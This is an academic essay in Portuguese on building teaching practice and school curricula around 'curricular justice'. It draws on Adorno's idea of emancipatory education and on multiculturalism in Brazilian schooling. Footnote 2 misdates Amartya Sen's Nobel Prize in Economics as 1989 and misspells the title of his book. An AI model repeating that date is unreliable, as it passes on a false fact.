Refletindo a construção da docência baseada numa justiça curricular

Refletindo a construção da docência baseada numa justiça curricular

Refletindo a construção da docência
baseada numa justiça curricular

A reflection concerning the
teaching construction based on a fair syllabus

 

 Resumo

 Diante de um complexo processo de
ressignifcação de valores, idéias e atitudes no que se referem às relações
pessoais e culturais, num mundo em que a idéia de globalização do capital e da
produção determinam novas posturas e maneiras de ser, pensar e agir, propomos
uma discussão sobre a construção da docência e dos currículos escolares como
instâncias que refletem esse processo de quebra de paradigmas. Buscamos
confirmar a centralidade da cultura na construção de uma educação emancipatória
calcada no respeito e na convivência com a alteridade, de modo que se possa
refletir acerca da educação e da escola que queremos, numa sociedade em que os
valores de justiça e autonomia de pensamento andam profundamente relativizados.

 Palavras-chave: Cultura – Educação – Emancipação –
Currículo Escolar

 Abstract

As regards that a complex process of
changing minds, values and attitudes as for the personal and cultural relations
in a world where the capital and production globalization idea determines new
ways and positions to be, to think and to act, we propose a discussion about the
teaching and syllabus building as issues that reflect this process of breaking paradigms. We search to confirm the central position of
the culture in an emancipated education building based on respect and
companionship with the alterity, in way that we can think about the education
and the school we want, in a society where the values of justice and autonomy
of thought deeply walk relativized.

 Key words: Culture, education, emancipation, syllabus

 Rodrigo Furtado Costa, professor das áreas de ciências sociais e de educação
da FAF – Faculdade Frutal e da UEMG – Universidade do Estado de Minas Gerais,
campus de Frutal. Graduado (Licenciatura Plena) em Ciências Sociais pela UNESP/Araraquara e especialista em Gestão e Exercício da Docência no
Ensino Superior pela FINOM – Faculdade do Noroeste de Minas/Paracatu e CTEC –
Consultoria Técnica de Educação e Cultura/Uberaba.

 E-mail/MSN: [email protected]

Refletindo a
construção da docência baseada numa justiça curricular

 

“Mestre não é quem sempre ensina, mas quem de repente aprende”

Guimarães Rosa, Grande sertão: veredas

 Introdução

  A
educação contemporânea exige continuadamente uma releitura crítica diante dos
impasses e perspectivas de suas políticas atuais. Estas sequer podem ser
concebidas separadas de alguns pressupostos filosóficos, histórico-sociais,
econômicos e culturais que sustentam sua aplicação, principalmente num momento
de explícito movimento dialético observado no interior da transição de paradigmas da sociedade mundial que,
por sua vez, se faz sentir também nos currículos escolares e na prática
curricular[1].

O
objetivo desta discussão é fazer alguns apontamentos acerca desses impasses e
perspectivas, de modo que possamos lançar alguma luz sobre o debate vigente
acerca da construção de caminhos que atentem para a importância do multiculturalismo[2]
na elaboração dos currículos escolares. Procuraremos, nesse sentido, debater a
hipótese de que o currículo escolar e a prática curricular podem ser caminho
seguro para que a escola confirme seu papel de agente transformador e
emancipador, desde que os atores sociais atuantes nesse espaço institucional,
sobretudo os docentes, compreendam minimamente a construção de alguns possíveis
significados de multiculturalismo.

Educação
para a emancipação: uma reflexão a partir da História

  A
concepção de educação emancipatória[3] teve com o filósofo alemão Theodor
Adorno (1906–1969) fundamental contribuição. Entre as duas Grandes Guerras
Mundiais — especificamente nas décadas de 20 e 30 do século XX —, tivemos o
surgimento dos regimes totalitários nazista (Alemanha) e fascista (Itália),
cuja influência se fez sentir em outras áreas da Europa (Espanha, Portugal), da
Ásia (Japão) e da própria América do Sul (Brasil, com a ditadura do Estado
Novo, de Getúlio Vargas), fatos estes testemunhados pelo pensador e que nos
legaram uma história sombria de etnocídio e holocausto. Segundo Adorno (1995),

a exigência que Auschwitz não se repita é a primeira
de todas para a educação. […] Se as pessoas não fossem profundamente
indiferentes em relação ao que acontece com todas as outras, excetuando o
punhado com que mantêm vínculos estreitos e possivelmente por intermédio de
alguns interesses concretos, então Auschwitz não teria sido possível, as
pessoas não o teriam aceito. (p. 119 e 134)

Diante
desse quadro histórico totalitário de opressão e barbárie em face de princípios
essenciais dos direitos humanos, Adorno e outros filósofos associados à escola
de pensamento frankfurtiano realizaram formulações teóricas e postulados éticos
que representaram importante expressão científica proporcionando, assim,
contribuições significativas para o entendimento e a crítica das questões
educacionais contemporâneas. Seus estudos permitem desvendar vários aspectos
das contradições presentes no cientificismo e no racionalismo instrumental
típicos de nossa sociedade historicamente classificada como moderna e marcada
pelo sofrimento, pela barbárie e pelo processo de “coisificação” do ser humano
possibilitando, como resultado, pensar em uma educação para a emancipação.

De
acordo com as filósofas Maria L. A. Aranha e Maria H. Pires (1993), na esteira
da melhor tradição frankfurtiana,

Theodor Adorno integrou o grupo que formulou a filosofia
do Instituto de Pesquisa Social, de Frankfurt, também conhecida como Teoria
Crítica. Seus mentores se recusaram a aceitar a premissa de que aderir à Razão
é algo “inocente”, de modo que a concepção iluminista de que o logos é
efetivado por meio da ciência sofreu crítica ardorosa por parte de pensadores
de garbo como Horkheimer, W. Benjamin, Marcuse, e Habermas. (p. 124)

 

Nesse
sentido, as críticas feitas pelos frankfurtianos à crença na ciência e na
técnica como “redentoras” da liberdade

repudiaram-nas como instrumentos de emancipação
social, uma vez que o progresso custa a execração do “sujeito autônomo”, ou
seja, custa a sua anulação, sujeito este que passa a ser cooptado pela
indústria cultural ou pela sociedade unidimensional. O resultado é que as
práticas humanas em suas diversas manifestações (econômica, social, política,
cultural, estética e ética) são arbitrariamente uniformizadas. (Id., Ibid.)

E
prosseguem:

tal fato leva, portanto, ao exercício de uma forma de
racionalidade chamada razão instrumental, ou seja, é a prática de uma
racionalidade científica − de cunho positivista − cujo objetivo é a
dominação da natureza procurando atingir fins lucrativos. Nesse sentido,
ciência e técnica ficam subordinados ao capital. (Ibid.)

Por
tudo isso, Adorno, bem como os demais frankfurtianos, alertou-nos para a
necessidade de se recuperar o indivíduo autônomo e consciente de seus
objetivos, procurando buscar sua emancipação, no âmbito individual, através da
autonomia da razão.

Ora,
o fato histórico que nos apresentou exemplarmente essa irracionalidade
revestida de modelos teóricos que “quiseram ser racionais” foi a barbárie do
nazi-fascismo nos idos de 20, 30 e 40 do século passado, como colocado. Adorno
apontou a educação como forma de reflexão acerca dessa instrumentalização da
sociedade que, mais tarde e no âmbito do capitalismo pós-guerra, reforçou o
processo de reificação humana — que já se fazia sentir desde a Revolução
Industrial oitocentista — com especial aguçamento da mais-valia relativa[4],
sobretudo em tempos de mundialização econômica.

Para
o filósofo, a educação deve se voltar para a conscientização e posterior
emancipação do sujeito. O caminho para tal seria a reflexão que conduziria, por
sua vez, à transformação. Nesse sentido, a educação deve, simultaneamente,
evitar a barbárie (nazi-fascista) e buscar a emancipação humana de modo que se
questione a idéia de Totalitarismo e, por extensão, que se questione a educação
autoritária. O objetivo, portanto, desse processo é pensar a educação
emancipatória. Uma forma é apresentar um extenso projeto de transformação
social global em que haja uma compreensão da totalidade da sociedade
repressiva, de maneira em que nele não ocorra o isolamento do processo
educacional refletindo, assim, seu papel transformador.

Não
obstante se levarmos em conta o caminhar do capitalismo após a Segunda Guerra
Mundial, sob a análise de Adorno, não poderíamos duvidar de que todo esse
esforço educativo estaria já em seu momento inicial condenado ao insucesso? E,
por conseguinte: a educação poderia, então, manter algum fio de esperança se se
pretende emancipatória?

Ora,
observemos que as questões levantadas pelos frankfurtianos, em geral, e por
Adorno, em particular, mostram-se claramente integradas com a problemática
educacional contemporânea. A cultura escolar vigente — herdeira das
características da escola moderna — pauta-se na visão monocultural que, por sua
vez, institucionalizou-se. Nesse sentido, em tempos de educação ainda dual, de
certa forma tida como uma mercadoria, a necessidade de buscarmos uma reinvenção
da escola como espaço de cruzamento de culturas várias se faz urgente. Assim, é
preciso buscar novos objetivos e estratégias na elaboração de currículos e na
sua aplicação concreta, de maneira que se promova a articulação com as
necessidades e perspectivas dos grupos excluídos social e culturalmente da
escola e da sociedade do consumo.

O
caminho para tal empresa é, em essência, o mesmo discutido por Adorno. Daí sua
vívida atualidade: buscar um novo olhar que nos conduza à transformação e à
emancipação. Noutras palavras, a necessidade de termos clara a importância da
reflexão filosófica do nosso papel na sociedade e, por extensão — no tocante à
educação — refletir acerca da função da escola: assumir nosso compromisso como
educadores com postura, rigor, desvendando (no âmbito da relação
ensino-aprendizagem) os mecanismos que impedem o ser humano de ser livre,
enfim, de se emancipar.

Por
tudo isso é notória a necessidade — dentro da educação — da problematização das
práticas escolares, do currículo, da relação entre as diversas culturas, do
olhar sobre a alteridade, permitindo assim uma ação racional autônoma — cujos
fins específicos sejam pensados claramente — acerca da condição humana e de
busca de uma justiça curricular, segundo a herança do pensamento frankfurtiano.

Multiculturalismo
e práticas educacionais: o desafio da educação emancipatória

 

A
história nos mostra que a idéia de educação reflexiva esbarra em impasses
encontrados nos próprios currículos escolares e na própria prática docente, os
quais não conseguem responder às demandas emancipatórias e mais humanizadoras
que se tornam claras numa sociedade atual pautada na cultura urbana, consumista
e massificada que acaba, por sua vez, reforçando o individualismo e reduzindo o
sentido da vida ao gesto de comprar e consumir, competir e vencer. Assim impera
uma visão fragmentada, alienada e a-histórica que leva à despolitização.

Diante
disso, a contribuição de análises acerca da escola como espaço de “cruzamento
de culturas” é indiscutível. Esses estudos mostram que o processo de elaboração
dos currículos escolares e da prática curricular propriamente dita é caminho para
se pensar a diminuição cultural da desigualdade inerente a grupos sociais que,
por grande período, ficaram fora da escola, especialmente no Brasil. Segundo Moreira
e Candau (2003, p.156), “os novos desafios encontrados em sala de aula em face
desses variados grupos sociais que passaram a compor o ambiente escolar, antes
dele excluídos, não estão conseguindo responder aos problemas de como fazer com
que a cultura seja questão central da elaboração curricular”, bem como de “designar
às práticas curriculares uma dimensão multicultural de maneira a incluir essa
camada populacional respeitando seus interesses e perspectivas emancipatórias”.

Nesse
sentido, os autores procuram mostrar “a necessidade de formar o docente pautado
no princípio da justiça curricular, cujo interesse é compreender que as
práticas pedagógicas devem estimular o questionamento das relações de poder,
contribuindo assim para a redução — dentro de um contexto democrático — da
opressão, da discriminação e do preconceito” (Id., p. 157).

Para
tanto apresentam como objetivo discutir sugestões e princípios apresentados ao
professorado — para além das cátedras —, no esforço de colocar a cultura como
condição sine qua non de suas práticas educacionais cotidianas. E vão
além:

tal perspectiva exige que desenvolvamos um novo olhar,
uma nova postura, e que sejamos capazes de identificar as diferentes culturas
que se entrelaçam no universo escolar, bem como de reinventar a escola,
reconhecendo o que a especifica, identifica e distingue de outros espaços de
socialização: a “mediação reflexiva” que realiza sobre as interações e o
impacto que as diferentes culturas exercem continuamente em seu universo e seus
atores. (MOREIRA e CANDAU, 2003, p. 161)

 

Inquestionável,
portanto, é a centralidade da cultura na sociedade e na educação. Essa
centralidade vem constantemente sendo ratificada pelos diversos autores e de
diferentes matrizes teóricas, uma vez que no cenário contemporâneo “a cultura
exerce papel constitutivo em todos os aspectos da vida social, posto que
estamos diante de uma revolução cultural” (HALL, 1997, apud MOREIRA e CANDAU,
2003, p.158). Se se faz necessário atentarmos para o papel do multiculturalismo
como caminho norteador dos currículos escolares, enfim, da necessidade de
termos essa consciência, é porque então esse inevitável “caráter plural das
sociedades atuais não está conseguindo responder aos dilemas e demandas
provocados pela globalização econômica e pela mundialização da cultura” (ORTIZ,
1994, apud MOREIRA e CANDAU, 2003, p. 156). Se essa empreitada obtiver
sucesso, então poderemos construir um caminho minimamente seguro para enxergar
e debater a existência de perspectivas e de pontos de vista de minorias étnicas
e raciais não-incluídas socialmente, bem como de parcela da população constituinte
das camadas populares.

Outro
ponto importante são as relações entre escola e culturas que apresentam a
imperatividade da compreensão de que todo e qualquer processo educativo é fruto
dessa mesma relação, uma vez que a escola se realiza socialmente como
instituição cultural e que, por isso mesmo, deva ser capaz de fomentar suas
práticas educativas para além dos obstáculos desafiadores que ora se apresentam
no âmbito da Nova Ordem Mundial: o mundo globalizado neoliberal.

Tais
desafios exigem urgentemente uma reflexão filosófica, de modo que os educadores
assumam o seu “compromisso como educador” com rigor. Dessa forma é imperativo re-aprender
a ver o mundo, sob a égide de um novo olhar sobre aquilo que já temos
como verdadeiro e certo e sobre os pressupostos conceituais e valorativos que
condicionam nosso pensar e agir dentro de uma sociedade profundamente desigual
em todos os níveis.

Nesse
sentido, a compreensão de que a gestão dos currículos escolares no Brasil deve
levar em conta o campo do multiculturalismo, isto é, que é importante pensar os
currículos sob a égide da diversidade cultural, só amplia o leque de ação
educativa para a construção da cidadania. Nessa mesma esteira, a estratégia de
se buscar a conscientização acerca do combate ao racismo e à discriminação,
dentro do ambiente escolar, colabora para o entendimento e a afirmação do
espaço escolar como espaço privilegiado de educação atenta às diferenças, à
alteridade, ao “outro” e que, muitas vezes, diferenças que se fazem sutis.

Segundo
Moreira e Candau (2003):

preconceitos e diferentes formas de discriminação
estão presentes no cotidiano escolar e precisam ser problematizados,
desvelados, desnaturalizados. Caso contrário, a escola estará a serviço da
reprodução de padrões de conduta reforçadores dos processos discriminadores
presentes na sociedade. (p. 164)

 

Algumas
indicações de abordagens face aos desafios apresentados mostram que tal relação
entre escola e culturas é, em si mesma, complexa, uma vez que o contexto
sócio-histórico em que se efetiva acaba por exigir uma releitura de paradigmas
e de visões que se têm sobre a educação.

 

À
guisa de conclusão

Faz-se
necessário questionar essa realidade, buscando construir uma escola e sociedade
democráticas, cujo locus passe pela formação docente ampla, crítica,
consciente dos desafios imperativos da sociedade globalizada, excludente e, ao
mesmo tempo, multicultural em que vivemos. Entendemos que é através de uma
visão de respeito à alteridade, de respeito aos vários grupos sociais e étnicos
existentes que será plausível a construção de um “projeto político-pedagógico”[5]
que ateste o papel da escola como um dos alicerces fundantes de uma sociedade
realmente moderna e democrática e, talvez por isso mesmo, menos injusta.

Enfim,
para além do discurso, importante é nos convencermos da urgência de uma
releitura de nossas práticas e currículos escolares, de maneira que assumamos
uma postura ética alicerçada sobre a crítica epistemológica rigorosa e a
auto-reflexão. O que não podemos mais — educadores e instituições de ensino — é
nos furtar do compromisso, essencialmente também pelo lugar social que
ocupamos, de desvendar os mecanismos que impedem o ser humano de ser livre, de
ser emancipado, portanto, de pensar a educação emancipatória.

Notas

[1] Diante do turbilhão de transformações culturais e de
ressignificação de valores pelas quais passa a sociedade mundial economicamente
globalizada, à escola se coloca também a necessidade de efetivas e profundas
mudanças no exercício de suas práticas e culturas para conseguir enfrentar
muitos dos desafios do mundo atual. Nesse sentido, segundo PIMENTA e ANASTASIOU
(2002), “as rápidas transformações do mundo do trabalho, o avanço tecnológico
configurando a sociedade virtual e os meios de informação e comunicação” e,
conseqüentemente, uma maior aproximação no âmbito das relações culturais,
pessoais e étnicas
— típicas do ambiente
global predominante na atual história do capitalismo — acabam por incidir “fortemente na escola, aumentando
os desafios para torná-la uma conquista democrática efetiva”. (p.12) Ora,
tem-se aí claramente o desafio de se dar conta dos novos impasses que se impõem
à prática docente e aos currículos escolares no âmbito da necessária transição
de velhos para novos paradigmas: “transformar práticas e culturas tradicionais
e burocráticas das escolas [e] educar as crianças e jovens, propiciando-lhes um
desenvolvimento humano, cultural, científico e tecnológico, de modo que
adquiram condições para enfrentar as exigências do mundo contemporâneo”. (Id.)

 

[2] A concepção de multiculturalismo teve início na década de 70 do
último século quando o Canadá fez dela, pela primeira vez, uma política
oficial. Pouco depois, tal concepção tornou-se o grande conceito em voga no
mundo, sobressaindo-se na União Européia e tendo o Reino Unido em sua
vanguarda. Sua base teórica diz respeito à integração de culturas, de modo que
se entenda
no decurso histórico da
construção de seus significados e ressignificados
questões como “liberdade cultural” e “celebração de
todas as formas de herança cultural”. Atualmente, porém, há uma dúvida pairando
sobre o entendimento dessas categorias, segundo o economista ganhador do Prêmio
Nobel de Economia em 1989, Amartya Sen (2006), que afirma que essa dúvida se
inicia em “um raciocínio incorreto [de modo que] não se deve confundir, de um
lado, a liberdade cultural
elemento
fundamental da dignidade de todos os povos

e, de outro, a defesa de celebração de todas as formas de legado cultural, sem
procurar saber se os indivíduos envolvidos escolheriam essas práticas de fato
se tivessem a possibilidade de fazer um exame crítico delas”. O economista
mostra que a liberdade cultural, “bem compreendida, consiste em saber resistir
à aprovação sistemática das tradições passadas, quando os indivíduos vêem
razões para mudar seu modo de vida”. (p. 3) Diante disso, muitas nações acabam
isolando ­— através da noção do que é
multicultural
os indivíduos em comunidades. Nesse sentido, quando um povo e/ou comunidade social e etnicamente configurados
conseguem achar razões para mudar seu modo de vida, entender que políticas
oficiais devam impedir tal mudança em nome de uma tradição é, minimamente, uma
forma muito pouco multicultural. Há, então, uma confusão em detrimento à
integração multicultural. O resultado é que países como Dinamarca, Reino Unido,
Holanda, França, sob o manto da dúvida ou do ceticismo, estão pensando ou já
reverteram suas políticas públicas. Sobre essa temática, ver SEN, Amartya. Identy
and Violence
. W.W Norton, 2006.

 

[3] A idéia de emancipação, aqui, realiza-se a partir do entendimento
da educação como espaço de formação que possibilite a construção e exercício da
autoconsciência e da crítica, do pensar e refletir para compreender o mundo e
desvendar as ideologias presentes nas produções e práticas realizadas pelos
indivíduos.

 

[4] Nesse sentido, entendemos o conceito de mais-valia relativa no
âmbito do materialismo histórico e dialético configurado na obra do filósofo
alemão Karl Marx.

 

[5] Ao escolhermos um projeto pedagógico estamos, necessariamente,
escolhendo uma orientação formativa e curricular política, ou seja, que
tem a imperativa função social de transformação da realidade e da sociedade
para melhor. Portanto, todo projeto pedagógico tem em si uma essência política,
posto que é transformadora. É preciso ter claro “que professores [e alunos] se
pretende formar para atuarem no contexto da sociedade brasileira
contemporânea”, uma vez que “os professores são profissionais essenciais nos
processos de mudança das sociedades”. (PIMENTA e ANASTASIOU, 2002, p. 11) Não é
exagero afirmar que quando escolhemos um modelo de atuação e prática
curricular, ao mesmo tempo estamos optando também por um modelo de escola e,
principalmente, de sociedade e de Homem que queremos.

 

 

Referências bibliográficas

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. 1ª. ed., Rio de Janeiro: Paz e Terra, 1995.

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MOREIRA, Antônio F. B. e CANDAU,
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, Rio de Janeiro, no. 23, p. 156-168, maio/ago. 2003.

ORTIZ, Renato. Mundialização e
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PIMENTA, Selma G. e ANASTASIOU, Léa
G. C. Docência no ensino superior. 1ª. ed., São Paulo: Cortez, 2002. v.
1.

SEN, Amartya. O Racha do
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